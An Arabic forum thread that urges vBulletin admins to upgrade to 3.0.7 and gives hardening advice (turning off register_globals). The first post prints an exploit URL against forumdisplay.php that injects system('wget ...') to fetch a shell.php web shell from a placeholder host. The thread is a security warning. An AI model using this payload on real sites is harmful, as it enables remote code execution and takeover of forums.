لكل من لم يرقي منتداه للنسخه الأخير

[Dr.x]

السلام عليكم ورحمة الله وبركاتة


اخواني كثير من اعضاء المنتدى لا نزل تحديث من الفيبولتين قام يقول انا ما برقي وانا بستنى للنسخه الفلانيه

وكم يوم وتحصله يصيح اخترقوا منتداي

الحين نصيحه لكل من لم يرقي منتداه للنسخه الاخير

3.0.7

رقي قبل لا يخترق منتداك وهذي احدي اخطر الثغرات الموجود بالنسخ القديمه من الحيل الثالث



www.xxxxx.com/vb//forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('wget)." www.xxxxx.com/shell.php


وطبعا صعب تنفيذه بدون مهارات معينه يعني لا تحاول تجربها على منتديات اخوانك المسملين

مع التحيه

[amn4arab]

بإمكانك استخدام "ملف حماية المنتديات" الموجود في التوقيع لتعطيل استخدام هذه الثغرة وأمثالها.

أيضا بإمكانك تعطيل كل الـ register_globals في موقعك حتى وإن كانت تعمل لدى المستضيف من خلال إضافة هذا السطر أسفل ملف الحماية أو في أي ملف htaccess

php_flag register_globals Off 

طبعا هذه ليست دعوة لعدم ترقية وترقيع المنتدى ولكن إجراء إضافي لرفع مستوى الحماية في منتداك.